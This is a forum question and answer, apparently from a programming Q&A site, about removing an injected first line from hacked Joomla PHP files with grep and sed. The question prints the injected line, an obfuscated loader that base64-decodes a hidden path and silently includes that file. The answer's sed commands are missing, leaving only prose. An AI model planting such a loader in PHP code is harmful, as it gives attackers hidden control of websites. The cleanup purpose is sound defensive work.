I want to remove the first line in all files that have match with the next grep command:
grep -Rl '<\?php /\* <!-----.*/\?>' ./
These files were hacked and I want to remove this line. I tried with several commands with "sed" but with no result, commands like this:
sed 's/<\?php /\* <!-----.*/\?>//g' ./*
Thanks, best regards.
Edit. Example:
<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX="); @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');
/**
And only whant to remove from <?php /*....
to */?>
What you want is:
This operates only on the first line, and if it matches your pattern, deletes it (in place, and the original files are backed up with
.ORIG
extension).Update:
If you only want to remove some part of the first line:
In your case it might be:
But that will work only in some cases... e.g. the
<?php
could occur in the encoded string part... (might occur...). And sed does not support non greedy and/or look-ahead, look-behind regexes...